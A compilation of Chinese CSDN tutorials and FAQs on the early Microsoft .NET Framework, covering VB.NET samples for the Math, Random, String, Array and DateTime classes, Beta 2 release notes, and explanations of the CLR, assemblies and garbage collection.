与静态成员相反，实例成员依赖于具体的实例对象。它意味着，在使用类的实例成员之前，我们必须先创建对象实例。例如，我们可以用System.Random类的实例成员NextDouble方法返回一个随机数字。下面的代码先创建一个System.Random类型的对象，然后把dblRandom变量的值设置为一个随机数字：

Dim dblRandom As Double
Dim rnd As Random = New Random
dblRandom = rnd.NextDouble

1.3 VB.NET函数与System类的成员
VB.NET语言的历史是一个不断变化的漫长过程。虽然Microsoft在VB.NET中取消了许多原来VB的功能，但VB.NET语言中的许多功能仍旧与System类的功能重复。如果可以选择的话，使用System类几乎总是比使用VB.NET功能更好。使用System类不仅使得代码更容易移植到其他语言，而且使得代码更符合未来VB.NET版本的要求，因为在未来的VB.NET语言中，Microsoft可能继续取消某些早期VB语言的功能。

二、数学计算
System.Math类包含大量可用于数学计算的域和方法，它的所有成员都是静态的。System.Math类的Pow方法能够计算数值的乘方。例如，我们可以用Math.PI域和Pow方法计算圆的面积（下例中dblRadius是圆的半径），Math.PI返回圆周率π：

dblArea = Math.PI * Math.Pow(dblRadius, 2)

用Sqrt方法可以计算数值的平方根。例如，下面的代码计算64的平方根：

answer = Math.Sqrt(64)

用Abs方法可以返回数值的绝对值。例如，下面的代码返回-7.8的绝对值，answer的值将是7.8：

answer = Math.Abs(-7.8)

Sign方法可以返回数值的符号。如果数值是负数，Sign返回-1；如果是正数，Sign返回1；如果是0，Sign返回0。Round方法把数值舍入成为最接近的整数。例如，下面的代码舍入3.4677789这个值，answer的值将是3：

answer = Math.Round(3.4677789)

如果你想要Round一个恰好处于两个整数值之间的值，比如3.5，则Round总是返回最接近该数值的偶数。也就是说，Math.Round(3.5)返回值是4，而Math.Round(6.5)的返回值是6。Floor方法用来截短一个实数，它的返回值是小于指定数值的最大整数值。例如，下面的代码截短数值5.9，answer的值将是5：

answer = Math.Floor(5.9)

注意Floor方法操作负数的结果可能与你所想象的不同。例如，Floor(-5.9)的返回值应该是-6。

除了上面介绍的这些方法之外，Math类还包含许多进行三角计算和对数计算的方法。

三、生成随机数字
System.Random类用来生成随机数字。然而，与VB的Rnd函数不同，System.Random既能够返回小数随机数，也能够返回整数随机数；System.Random类根据系统日期和时间自动生成随机数种子初始化随机数生成器。

用System.Random的NextDouble方法可以返回一个0到1之间的Double类型随机数；用Next方法可以返回两个整数值之间的随机整数。NextDouble和Next都是实例方法，所以在使用这些方法之前你必须先创建一个System.Random类型的对象。下面是一个完整的ASP.NET页面，它显示了如何运用这些方法生成20个随机数字，其中10个随机数字处于0到1之间，另外10个处于1到50之间：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>Random实例</title>
<script language="VB" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
' 等价于VB6 Rnd函数的.NET框架类
' 随机数生成方法
Dim rnd As System.Random = New System.Random
Dim i As Integer

lblOutput.Text &= "<table border=""1"">"
lblOutput.Text &= "<tr><th>rnd.NextDouble</th>" & _
<th>Next(1,50)</th></tr>"
For i = 1 To 10
lblOutput.Text &= "<tr>"
lblOutput.Text &= "<td>" & rnd.NextDouble & "</td>"
lblOutput.Text &= "<td>" & rnd.Next(1,50) & "</td>"
lblOutput.Text &= "</tr>"
Next
lblOutput.Text &= "</table>"
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

下图显示了这个页面的运行结果（当然，如果你运行这个页面，得到的很可能是一组不同的随机数字）。

前面我们讨论了.NET Framework中程序集、名称空间和类如何结合成一个整体，以及如何利用内建的System类进行数学计算和生成随机数字。本文的第二部分将接着讨论其他几个有用的类，包括Array类、String类、DateTime类等。


csdn_.NET框架(二）

  .NET框架(二）
一、处理字符串
.NET 框架类（或System类）提供了大量可在构造.NET应用时使用的核心功能，这些功能适用于任何语言环境。本文的第一部分介绍了程序集、名称空间等基本概念以及System.Math和System.Random类。这是本文的第二部分，接着讨论其他几个很有用的类：System.String，System.Array，System.DateTime。

值得指出的是，正如本文前面所提到的，当我们用VB.NET作为编程语言时，我们常常面临这样一种选择：是使用VB.NET语言内建的功能，还是使用等价的System类功能。在处理数组、日期/时间、字符串数据时，我们就面临这种选择。如果你曾经是一个VB 6.0程序员，你的第一个选择可能会是经过检验的、确实有效的老方法。但是，如果有可能，你最好还是改掉老习惯、采用新的.NET System类。为什么呢？因为采用System类能够使你的代码更容易移植到其他.NET语言以及未来的VB.NET版本。

System.String类提供了丰富的字符串处理能力。使用System.String类，我们可以：确定字符串的长度，查找子串，改变字符串的大小写，比较两个字符串，分割字符串，等等。

确定字符串长度使用的是Length属性。例如，在下面的代码中，intLength的值将是4：

Dim strColor As String = "blue"
Dim intLength As Integer
intLength = strColor.length

我们用IndexOf方法从字符串找出第一个匹配的子串。如果能够找到子串，IndexOf方法返回子串的开始位置（第一个字符的开始位置为0）；如果不能找到，则IndexOf返回-1。IndexOf的查找是大小写敏感的。IndexOf是一个被重载（Overload）的方法，它允许传入的参数包括：Char类型的字符，String类型的字符串，Char类型的字符数组。下面这个IndexOf.aspx页面示范了三种不同参数类型IndexOf方法的运用：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>System.String实例</title>
<script language="vb" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
Dim chrG As Char = "G"
Dim strWord As String = "for"
Dim chrVowels As Char() = {"a","e","i","o","u"}
Dim strPhrase As String = _
"One small step for man, one giant leap for mankind."
Dim i As Integer

lblOutput.Text &= "<br />strPhrase = " & strPhrase
lblOutput.Text &= "<br />Position of chrG = " _
& strPhrase.IndexOf(chrG)
lblOutput.Text &= "<br />Position of strWord = " _
& strPhrase.IndexOf(strWord)
lblOutput.Text &= "<br />Position of chrVowels = " _
& strPhrase.IndexOf(chrVowels)
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

这个页面的运行结果如下：

IndexOf允许指定两个用来限制搜索的可选参数，它们分别代表搜索字符串的起始和结束位置。例如，下面的代码对chrVowels的搜索限制在第10到20个字符之间：

strPhrase.IndexOf(chrVowels, 10, 20)

LastIndexOf方法类似于IndexOf方法，但它搜索的是子串的最后一次出现。例如，如果你修改IndexOf.aspx页面，用LastIndexOf方法来取代IndexOf方法，则strWord的位置将是39而不是15。

使用System.String的ToUpper和ToLower方法可以把字符串分别改成全部大写或者全部小写。例如：

strUpper = "This is a mixed case sentence".ToUpper()
strLower = "This is a mixed case sentence".ToLower()

从这个例子可以看出，System.String的属性和方法既可以在字符串变量中应用，也可以直接在字符串文本中应用。

你可以用Compare方法比较两个字符串是否相同。如果两个字符串相同，Compare方法返回0；如果第一个字符串小于第二个字符串，Compare返回一个负数；如果第一个字符串大于第二个字符串，Compare方法返回一个正数。Compare是一个静态方法（参见本文前面关于静态方法和实例方法的说明）。默认情况下，Compare对字符串的比较是大小写敏感的，且不考虑地区关系。例如，下面对Str1和Str2的比较将返回-1，它表示Str1小于Str2：

Dim str1 As String = "abcd.com"
Dim str2 As String = "abcd.Com"

answer = String.Compare(str1, str2)

我们可以向Compare传入第三个可选的参数。如果第三个参数指定为True，则字符串比较操作忽略大小写，比如下面的代码中answer的值将是0，即两个字符串相等。

answer = String.Compare(str1, str2, True)

正如IndexOf方法，Compare也是一个被重载的方法。我们可以向Compare方法传入第四个参数要求进行地区相关的比较；或者，我们也可以指定字符的起始和结束位置使得比较只对字符串的一部分进行。请参见.NET Framework SDK文档了解详细信息。Split方法把字符串分割成一个由子串构成的数组。使用Split方法时，我们必须指定用来分割字符串的、Char类型的分割字符。下面的Split.aspx页面示范了Split方法的应用：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>Split实例</title>
<script language="vb" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
Dim strASP As String = _
"ASP.NET is the next generation of Active Server Pages."
Dim strWords() As String
Dim i As Integer

strWords = strASP.Split(" ")

For i = strWords.GetLowerBound(0) to strWords.GetUpperBound(0)
lblOutput.Text &= i & ": " & strWords(i) & "<br />"
Next
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

Split.aspx的输出结果如下：

前面我们讨论了String类部分属性和方法的应用。String还包括许多其他成员，比如：从数组构造出字符串，把字符串中的一个字符替换成其他字符，删除字符串前面或者后面的空白字符，等等。

二、操作数组
我们可以通过System.Array类用各种方法处理数组。与前面的几个类一样，System.String类的许多功能重复了VB语言所具有的功能。但Array类也增加了一些传统VB语言不具备的功能，比如搜索和排序数组。

Array类的GetLowerBound和GetUpperBound方法用于确定数组指定维的下界和上界。下面这个语句来自Split.aspx（参见前面的例子），它通过GetLowerBound和GetUpperBound方法确定strWords数组的边界：

For i = strWords.GetLowerBound(0) to strWords.GetUpperBound(0)

System.Array的Sort静态方法能够对一维数组的内容排序。Sort方法对数组的排序是大小写敏感的，而且它不能对一维以上的数组排序。调用Sort方法的语法下：

Array.Sort(array_name)

对于一维数组，我们还可以用Reverse方法颠倒数组元素的次序。Reverse方法的语法类似于Sort方法：

Array.Reverse(array_name)

下面的代码（来自ArraySort.aspx示例页面）示范了Sort和Reverse方法的应用：

Dim strTerms() As String = {"JScript", "VB", "ASP", "ASP.NET", ".NET"}
Dim i As Integer

lblOutput.Text &= "Original Array<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

Array.Sort(strTerms)
lblOutput.Text &= "<br />After Sorting<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

Array.Reverse(strTerms)
lblOutput.Text &= "<br />After Reversing<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

ArraySort.aspx页面的输出结果如下：

System.Array方法支持用IndexOf和LastIndexOf方法对一维数组进行搜索，这两个方法与System.String类的同名方法类似。用IndexOf和LastIndexOf方法搜索数组的语法如下：

answer = Array.IndexOf(array_name, search_string)
answer = Array.LastIndexOf(array_name, search_string)

这两个方法分别返回搜索字符串第一次和最后一次匹配的位置；如果不能找到，则返回值是-1。这种搜索是大小写敏感的。例如，在下面的代码中，answer将是2，它表示字符串“ASP”是strTerms数组的第三个元素。

Dim strTerms() As String = {"JScript", "VB", "ASP", "ASP.NET", ".NET"}
answer = Array.IndexOf(strTerms, "ASP")

三、处理日期/时间数据
System.DateTime类提供了许多处理DateTime值的方法。要创建一个DateTime值，我们只需声明一个DateTime类型的变量，并通过“#”分隔符赋予它一个DateTime常量，如下所示：

Dim SeattleQuake As DateTime = #02/28/01 10:54#

System.DateTime类一个很大的优点是：我们能够通过它的属性非常方便地分析日期/时间值。这些DateTime类属性的含义非常明显，它们是：Year，Month，Day，DayOfWeek，DayOfYear，Hour，Minute，Second，Millisecond，Ticks，等。每个Ticks等于100个纳秒（毫微秒）。例如，在下面的代码中，answer的值将等于10：

answer = SeattleQuake.Hour

我们还可以用Date和TimeOfDay属性获得DateTime数据的日期或者时间部分。TimeOfDay属性返回的是一个TimeSpan值，它表示已流逝的按ticks计的时间。可以想象，利用TimeSpan值的属性我们可以分析出TimeSpan时间的各个部分。请参见.NET Framework SDK文档了解详细信息。

System.DateTime类还提供了几个增加（或者减少）DateTime值某一部分的方法，它们是：AddYears，AddMonths，AddDays，AddHours，AddMinutes，AddSeconds，AddMilliseconds，AddTicks。

例如，下面的代码对指定的日期（BDay）进行加1年、减1年操作：

Dim BDay As DateTime = #6/25/2001 12:00#
Dim NextBDay As DateTime
Dim LastBDay As DateTime

NextBDay = TheDate.AddYears(1)
LastBDay = TheDate.AddYears(-1)


csdn_.net framework beta2发布

.Net Framework Beta2 发布

作者：www.aspcn.com 飞刀

安装此版本的要求：

  1. Window XP、Window 2000、Winnt 4.0、Windows 98 、Windows Me
  2. IE 5.01 以上版本

配制要求已经比Beta1 中低多了。

Microsoft .Net Framework 包含有各种运行.Net Framework所需要的东东，其中包括CLR (Common Language Runtime)，.Net Framework在库以及ASP.Net

Microsoft .Net Framework(SDK)包括了.Net Framework的各种发行包。SDK包含编写、编译、测试以及配制.Net Framework 应用程序的文档、工具、编译器以及例程。

下载地址是：

http://download.microsoft.com/download/VisualStudioNET/Trial/2.0/W982KMeXP/EN-US/setup.exe

大约127M

至于能不能在windows 98或windows me下运行ASP.Net，飞刀还不知道，因为还在下载中。

ASP.Net额外版本

如果您不需要.Net Framework中的其它东东，仅需要ASP.Net，您可以下载ASP.Net额外版本，只有18M左右的大小。但是包含了运行ASP.Net所需要的一切东东，不过配制比安装整个.Net Framework要高很多。只能在Windows 2000或Windows XP中运行，还有我想IE 5.01可能也是不能少的。因为飞刀的是IE 6，以下版本是否能通过不得而知。

下载地址：

http://download.microsoft.com/download/VisualStudioNET/Trial/2/W982KMeXP/EN-US/setup.exe

大约18.6M


csdn_.Net Framework Beta 2 初步介绍

.Net Framework Beta 2 初步介绍

作者：http://www.aspcn.com 飞刀

6月7日，微软公司，推出了Windows .Net Framework 的第二个测试版。当飞刀高高兴兴地下载了8个小时后，发现一切变得太快了。（微软太狠了）

本来只准备下载ASP.Net的额外版本，But没有想到一运行以前的ASP.Net程序，到处报错，原以为是ASP.Net额外版本缺少东东，又没有带文档，没有办法，只好下载.Net Framework Beta 2 这个127M的庞然大物。

再次运行以前的ASP.Net程序，发现错误仍然存在，一种不祥的感觉马上占据飞刀之心，马上查阅.Net Framework Beta 2 所带的文档，今非昔比，一切都变了。

有些地方，觉得微软有些过份了，因为有些类库并不需要改名，功能又没有变，方法的作用也没有变，变的只是名字。而且大小写也变了，真是....

惨不忍睹，所有程序需要几乎全部重写。

.Net Framework 安装需要

  1. Windows 98，Windows Me，Windows 2000，Windows NT 4.0,Windows XP
  2. IE 5.01 以上版本

可喜的是Windows 98、Windows Me 也能顺利安装，至于是否支持ASP.Net，飞刀没有试验过,想必应当可以吧。

.Net Framework Beta 2 的改变

(1) 类库改变不少

System.Data.SQL已经更名为System.Data.SqlClient，System.Data.ADO改名为System.Data.OleDb，其中它们的DataSetCommand对象改为DataAdapter，SQL名字一律小写，改名为OleDb的也不例外。比如SQLConnection现在就要写成SqlConnection，否则就要出错（当然是对C#来说的，VB不分大小写的）。Connection、Command类的构造函数所带参数也有所改变。Connection、Command、DataReader的方法和属性也改变不少，比如以前Command的ActiveConnection属性就改成了Connection，这样减少了代码的书写。Command的Execute方法已经取消，给DataReader赋值，有一个专门的方法ExecuteReader()。而不是以前的传递out类参数。

DataSet不少方法已经取消，不会飞刀还是认为有些去掉的方法很有用。

RowsCollections这一类的对象已经改成DataRowCollection这一类对象名称，基本功能没有变，部分功能得到加强。

还有很多改变，飞刀就不一一列举了。

当然也加了不少的类库，飞刀我还没有来得急研究。

(2)Web控件的变化

增加了Xml，与PlaceHolder控件。XML控件也就不多说了，看名字就知道是作什么用的，PlaceHolder控件有点类似于Panel控件，但是没有Panel控件功能强大，这只允许在程序中动态向Connections集合中加控件，而不能直接书写HTML代码。

部分Web控件的属性与方法已经改变。

最令人头疼的DataGrid的控件也已经改变，总的来说是改简单了。减少了代码的书写，但是对于我们这些熟悉的人来说，改变真是烦人啊。习惯问题。

增加了ItemCreated，ItemDataBound事件，属性就加了不少比如BackImageUrl等，样式处理也有所变化。

(3).Net 平台配制的变化

以前的配制位于Config.web文件中，现在取而代之的是web.config文件，换了一个调，而整台机器的基本配制也不是在FrameworkSDK目录下的config.web文件，而是FrameworkSDK/Config目录下的machine.config文件。

基本配制样式还是与Beta一样，但是更加严格，真正的XML格式。

总体来说，.Net Framework变化太大，有些让人无法适应。刀刀我就是受害者。


csdn_Microsoft .NET 框架常见问题 （一）

Microsoft .NET 框架常见问题 （一）
Microsoft .NET 框架常见问题
Microsoft Corporation

概念问题
什么是 .NET？
简单地说，Microsoft&reg; .NET 是 Microsoft 以服务的方式递交软件的一种策略。有关完整信息，请参阅有关该主题的白皮书（英文）。

以下是白皮书的摘要，简要介绍了 .NET 的关键内容：

Microsoft .NET 平台
包括用于创建和操作新一代服务的 .NET 基础结构和工具、用于实施多信息客户端的 .NET 用户经验，以及用于启用新一代智能 Internet 设备的 .NET 构造块服务和 .NET 设备软件。

Microsoft .NET 产品和服务
包括 Microsoft&reg; Windows.NET（其核心集成了一组构造块服务）、MSN.NET、个人订阅服务、Microsoft&reg; Office.NET、Microsoft&reg; Visual Studio.NET 和 Microsoft&reg; bCentral&#8482; for .NET。

第三方 .NET 服务
许多领域的合作伙伴和开发人员都有机会在 .NET 平台上提供企业和垂直服务。
此问题针对的是 .NET 框架。.NET 框架是 .NET 平台基础结构的一部分。有关 .NET 框架的详细信息，请参阅下一个问题。

什么是 .NET 框架？
.NET 框架是创建、部署和运行 Web 服务及其他应用程序的一个环境。它包括三个主要部分：公共语言运行时、框架类和 ASP.NET。

.NET 框架是否只适用于创建 Web 站点的用户？
.NET 框架使您可以创建优秀的 Web 应用程序。但它也可以帮助您创建现在的各种应用程序。与当前创建应用程序的方式相比，.NET 在编写任何 Windows 软件（使用 ATL/COM、MFC、Microsoft&reg; Visual Basic&reg; 或标准 Microsoft&reg; Win32&reg;）方面都具有更大的优势。当然，如果您是开发 Web 站点，那么从 ASP.NET 开始，您就会感受到 .NET 框架的强大吸引力。

从何处可以获得 .NET 框架 SDK？
现在可以从 MSDN Online Downloads（英文）下载 .NET 框架 SDK 的 Beta 1 版。鉴于其大小，我们以多种方式提供此 Beta 版：作为一个下载文件 (106 MB)，分为 11 部分下载，或者从 Microsoft Developer Store 定购其 CD：

美国/加拿大（英语）

国际（英语）

.NET 框架可以运行于哪些平台？
Beta 1 版可以运行在 Microsoft&reg; Windows&reg; 2000、Windows 95/98/ME 和 Windows NT&reg; 4.0 上。

另外，还有一个称为 .NET 精简框架的 .NET 框架版本。它用于使蜂窝电话和增强型电视等设备也具有 .NET 框架的某些功能。.NET 精简框架将运行在 Windows CE 和其他嵌入式操作系统上。

.NET 框架支持哪些编程语言？
.NET 框架与编程语言无关。事实上任何语言都可以支持 .NET 框架。目前，您可以用许多语言来创建 .NET 程序，包括：C++、Microsoft&reg; Visual Basic.NET、JScript&reg; 和 Microsoft 的最新语言——C#。以后，也会有大量的第三方语言可以用来创建 .NET 框架应用程序，包括 COBOL、Eiffel、Perl、Python、Smalltalk 等等。

.NET 框架和 COM+ 服务之间是什么关系？
在 .NET 框架中，不仅可以完全访问 COM+ 服务，而且也更容易创建服务组件。

.NET 框架组件可被添加至 COM+ 应用程序中。在 COM+ 应用程序中，.NET 框架组件可以利用自动组件服务，例如：事务、对象池、排队组件、事件等等。

.NET 框架和 DCOM 之间是什么关系？
DCOM 是用于进程间通讯的 COM 基础结构。.NET 框架支持大量用于进程间通讯的可插入通道和格式化程序。在托管代码和非托管代码之间进行转换时，.NET 框架使用了 COM 基础结构，尤其是 DCOM。所有使用 COM+ 服务的方案都使用了托管到非托管转换，因此默认使用 DCOM。对于注重互操作性的进程间通讯，.NET 框架也支持 SOAP（简单对象访问协议）。

.NET 框架是否仅仅是 Windows DNA 的新名称？
不。Windows DNA 是用于创建紧耦合的分布式 Web 应用程序的一种体系结构。由于分布式应用程序变得需要更多的松耦合原理，因此 Microsoft 在 .NET 中发展了该体系结构。.NET 框架是 .NET 体系结构的一部分。

运行时技术问题
术语
什么是公共语言运行时 (CLR)？
公共语言运行时是 .NET 框架应用程序的执行引擎。

它提供许多服务，包括：

代码管理（加载和执行）

应用程序内存隔离

类型安全验证

IL 到本机代码的转换

元数据（增强的类型信息）访问

为托管对象管理内存

强制代码访问安全

异常处理，包括跨语言异常

托管代码、COM 对象和现有 DLL（非托管代码和数据）之间的互操作

自动进行对象布局

对开发人员服务（配置、调试等）的支持

什么是公共类型系统 (CTS)？
公共类型系统是多信息类型系统，它被内置在公共语言运行时中，支持大多数编程语言中的类型和操作。公共类型系统支持大量编程语言的完全实现。

什么是公共语言规范 (CLS)？
公共语言规范是一组结构和限制，用作库编写者和编译器编写者的指南。它使任何支持 CLS 的语言都可以完全使用库，并且使这些语言可以相互集成。公共语言规范是公共类型系统的子集。对于那些需要编写代码供其他开发人员使用的应用程序开发人员，公共语言规范也非常重要。如果开发人员遵循 CLS 规则来设计公共访问的 API，那么就可以在支持公共语言运行时的任何其他编程语言中很容易地使用这些 API。

什么是 Microsoft 中间语言 (MSIL)？
MSIL 是与 CPU 无关的指令集。.NET 框架程序被编译成 MSIL。它包含加载、存储、初始化和调用对象方法的指令。

与元数据和公共类型系统结合，MSIL 允许真正的跨语言集成。

MSIL 在执行前被转换为机器代码，而不是一边解释一边执行。

什么是托管代码和托管数据？
托管代码是编写为支持公共语言运行时服务的代码（请参阅“什么是公共语言运行时？”）。为了支持这些服务，代码必须向运行时提供最小级别的信息（元数据）。默认情况下，所有 C#、Visual Basic.NET 和 JScript.NET 代码都是托管代码。Visual Studio.NET C++ 代码在默认情况下不是托管代码，但通过指定命令行开关 (/CLR)，编译器也可以生成托管代码。

与托管代码密切相关的是托管数据。托管数据是由公共语言运行时的垃圾回收器进行分配和释放的数据。默认情况下，C#、Visual Basic 和 JScript.NET 数据是托管数据。不过，通过使用特殊的关键字，C# 数据可以被标记为非托管数据。Visual Studio.NET C++ 数据在默认情况下是非托管数据（即使在使用 /CLR 开关时），但是在使用 C++ 的托管扩展时，可以使用“__gc”关键字将类标记为托管类。就象该名称所显示的那样，它表示类实例的内存由垃圾回收器管理。另外，该类也完全成为 .NET 框架的成员，同时具备它所带来的好处和限制。好处的一个例子是：它可以与其他语言编写的类正确地进行互操作（如托管的 C++ 类可以从 Visual Basic 类继承）；限制的一个例子是：托管类只能从一个基类继承。

程序集
什么是程序集？
程序集是 .NET 框架应用程序的主要构造块。它是作为一个单一实现单元（包含一个或多个文件）来创建、标识和部署的功能集合。所有的托管类型和资源都可以被标记为仅在其实现单元内访问，或者标记为可由该单元以外的代码来访问。

程序集通过清单来进行自我说明。清单是每个程序集的不可或缺的组成部分。清单：

建立程序集标识（以文本名称的格式）、版本、类别和数字签名（如果要在应用程序之间共享该程序集）。

定义组成程序集实现的文件（通过名称和文件散列）。

指定组成程序集的类型和资源，包括哪些是从程序集中导出的。

逐条记录编译时对其他程序集的依存。

指定程序集正确运行所需要的权限的集合。
此信息在运行时用于解析引用、强制版本绑定策略以及验证所加载的程序集的完整性。因为每一类型都被加载到程序集的上下文中，所以运行时可以确定并定位任何正在运行的对象的程序集。程序集也是应用了代码访问安全权限的单元。在确定授予其所包含的代码哪些权限时，每个程序集的标识证据都被认为是独立的。

程序集的自我说明特征也有助于实现无影响安装和 XCOPY 部署。

什么是专用程序集和共享程序集？
专用程序集仅由单一应用程序使用，并且存储在该应用程序的安装目录中（或其子目录中）。共享程序集是可被多个应用程序引用的程序集。要共享一个程序集，该程序集必须明确为这个目的而创建，这可以通过给其指定加密的增强型名称（用作共享名称）来实现。相反，专用程序集名称只要求在使用它的应用程序中是唯一的。

通过区分专用和共享程序集，我们介绍明确决定共享的要点。只需简单地将专用程序集部署在应用程序目录中，即可确保应用程序只在创建和部署它的那部分中运行。对专用程序集的引用只在专用应用程序目录内部进行解析。

选择创建和使用共享程序集可以有多种原因，例如表达版本策略的能力。共享程序集具有加密的增强型名称，这项事实意味着只有程序集的作者才拥有密钥来生成程序集的新版本。因此，如果您做出策略声明，希望接受程序集的新版本，则您可以确信版本更新将由作者来控制和验证。否则，您就不会接受它们。

对于在本地安装的应用程序，共享程序集通常被明确安装在全局程序集缓存中（程序集的本地缓存由 .NET 框架维护）。.NET 框架的版本管理特性的关键在于下载的代码不会影响本地安装的应用程序的执行。下载的代码被放在一个特殊的下载缓存中，即使某些下载组件被编译为共享程序集，也不能在机器上全局使用这些代码。

与 .NET 框架一起发布的类都被编译为共享程序集。

如果我想创建一个共享程序集，在标记和管理密钥对方面是否需要额外的开销？
创建共享程序集确实涉及到加密密钥方面的工作。创建程序集时，只有公共密钥是必要的。支持 .NET 框架的编译器提供命令行选项（或使用自定义属性），用于在创建程序集时提供公共密钥。通常在资源数据库中保留一份常用的公共密钥，并使编译脚本指向此密钥。在发布程序集之前，必须使用相应的私人密钥将其完全标记。这是通过 SDK 工具 SN.exe（增强型名称）来完成的。

增强型名称标记不象 Authenticode 一样需要使用证书。它不涉及第三方组织，不需要付费，也不受证书约束。另外，验证增强型名称的额外开销远远小于验证 Authenticode 的开销。不过，增强型名称不会生成任何信任某个出版商的语句。增强型名称使您可以确信给定程序集的内容没有被篡改，在运行时为您加载的程序集来自于您开发时针对的出版商。但它不会生成有关是否信任出版商身份的语句。


csdn_Microsoft .NET 框架常见问题 （二）

Microsoft .NET 框架常见问题 （二） 作者：赖皮王子
名称空间与程序集名称之间有什么区别？
名称空间是类型的一种逻辑命名方案，其中简单类型名称（如 MyType）前面带有用点分隔的层次结构名称。这样的命名方案完全在开发人员的控制之下。例如，键入 MyCompany.FileAccess.A 和 MyCompany.FileAccess.B 在逻辑上将会具有与文件访问相关的功能。.NET 框架使用一种层次结构命名方案，用于将类型按相关功能的逻辑类别进行分组，例如，ASP.NET 应用程序框架或远程处理功能。设计工具可以利用名称空间使开发人员更容易在代码中浏览和引用类型。名称空间的概念与程序集的概念之间没有任何联系。一个程序集可以包含其层次结构名称具有不同名称空间根的类型，而一个逻辑名称空间根可以跨越多个程序集。在 .NET 框架中，名称空间是在设计时进行逻辑命名的便捷方式，而程序集在运行时为类型建立名称作用域。

应用程序部署和隔离
部署 .NET 应用程序时可以使用哪些选项？
通过使应用程序的无影响安装和 XCOPY 部署成为可能，.NET 框架简化了部署。因为所有的请求首先在专用应用程序目录中进行解析，所以只需简单地将一个应用程序的目录文件复制到磁盘中，即可运行该应用程序，而不需要注册。

此方案对于 Web 应用程序、Web 服务和独立的桌面应用程序特别有吸引力。不过，在有些方案中 XCOPY 还不足以担当分发机制。例如，当应用程序具有很少的专用代码，而依赖于可用的共享程序集；或者应用程序不是安装在本地（而是按需下载）。对于这些情况，.NET 框架提供了扩展的代码下载服务以及与 Windows Installer 的集成。.NET 框架提供的代码下载支持通过当前平台提供了许多优势，包括增量下载、代码访问安全性（不再有“Authenticode”对话框）和应用程序隔离（为一个应用程序下载的代码不会影响其他应用程序）。Windows Installer 是 .NET 应用程序可以使用的另外一个强大的部署机制。在 Windows Installer 1.5 中，Windows Installer 的所有特性（包括发行、公布和应用程序修补）都可以在 .NET 应用程序中使用。

如果我已经编写了一个程序集，并希望在多个应用程序中使用它，我应该在何处部署它？
要由多个应用程序使用的程序集（如共享程序集）需要部署到全局程序集缓存中。在预发布版和 Beta 版中，使用 Alink SDK 工具的 /i 选项可将程序集安装到缓存中：

al /i:myDll.dll
Windows Installer 的后续版本能够将程序集安装到全局程序集缓存中。

如何才能看到在全局程序集缓存中安装了哪些程序集？
.NET 框架附带了一个 Windows 外壳扩展，用于查看程序集缓存。在 Windows 资源管理器中，转至 % windir%\assembly 以激活查看器。

什么是应用程序域？
应用程序域（通常是 AppDomain）是用于隔离应用程序的虚拟进程。在同一个应用程序作用域中创建的所有对象（换句话说，从该应用程序的入口点开始沿着对象激活序列的任何地方）都在同一个应用程序域中创建。多个应用程序域可以存在于一个操作系统进程中，使它们成为隔离应用程序的简便方式。

操作系统进程通过使用各不相同的内存地址空间来提供隔离。尽管它是有效的，但也是代价昂贵的，并且不能达到大型 Web 服务器所需要的数量。与其相比，公共语言运行时通过管理在应用程序域中运行的代码的内存使用来强制进行应用程序隔离。这样就确保它不会访问应用程序域以外的内存。需要注意的是，只有类型安全的代码才能以这种方式管理（当在应用程序域中加载不安全代码时，运行时不能保证隔离）。

垃圾回收
什么是垃圾回收？
垃圾回收是使计算机能检测何时不再能够访问某个对象的一种机制。它将自动释放由该对象使用的内存（也调用用户编写的称为“结束者”的清理例程）。一些垃圾回收器（如由 .NET 使用的）会压缩内存，并因此减少程序的工作集。

非确定性垃圾回收是如何影响代码的？
对于大多数编程人员而言，拥有一个垃圾回收器（并且使用可作为垃圾回收的对象）意味着永远不需要操心释放内存或引用计数对象，即使您使用了复杂的数据结构。但如果您通常在同一个用于释放对象内存的代码块中释放系统资源（文件句柄、锁定等等），那么在编码样式方面需要做一些修改。使用可作为垃圾回收的对象时，您应该提供一种方法，来明确释放系统资源（也就是说，由您的程序控制），同时允许垃圾回收器在压缩工作集时释放内存。

是否能够避免使用可作为垃圾回收的堆？
所有支持运行时的语言都允许您从可作为垃圾回收的堆中分配类对象。这在快速分配方面带来了好处，并且使编程人员无需自己来计算何时应该显式“free”每个对象。

CLR 还提供了 ValueTypes 对象——它们与类相似，但 ValueType 对象是在运行时堆栈（不是堆）中分配的，因此当您的代码退出定义这些对象的过程时，将自动回收它们。这就是 C# 中“struct”的操作方式。

C++ 的托管扩展使您可以选择类对象分配的位置。如果使用 __gc 关键字声明为托管类，它们将从可作为垃圾回收的堆中分配；如果它们不包含 __gc 关键字，它们将与普通的 C++ 对象一样从 C++ 堆中分配，并且使用“free”方法显式释放。

有关垃圾回收的的详细信息，请参阅：

垃圾回收：Microsoft .NET 框架中的自动内存管理（英文）

垃圾回收 - 第 2 部分：Microsoft .NET 框架中的自动内存管理（英文）

远程处理
如何在公共语言运行时中进行进程内和进程间通讯？
进程内通讯有两种：在单一应用程序域的上下文中，或者跨应用程序域。在同一个应用程序域的上下文中，使用代理作为监听机制，而不涉及封送处理/序列化。当跨应用程序域时，使用运行时二进制协议来作封送处理/序列化。

进程间通讯为每个特定目的使用一个可插入通道和格式化程序协议。

如果开发人员使用 soapsuds.exe 工具指定终结点来生成元数据代理，那么默认值是带有 SOAP 格式化程序的 HTTP 通道。

如果开发人员在托管世界中执行显式远程处理，需要明确指定使用的通道和格式化程序。这可以通过配置文件用可管理的方式来表示，或者用 API 调用来加载特定通道。选项如下：
带有 SOAP 格式化程序的 HTTP 通道（HTTP 在 Internet 上或任何必须通过防火墙进行通信的时候运行良好）

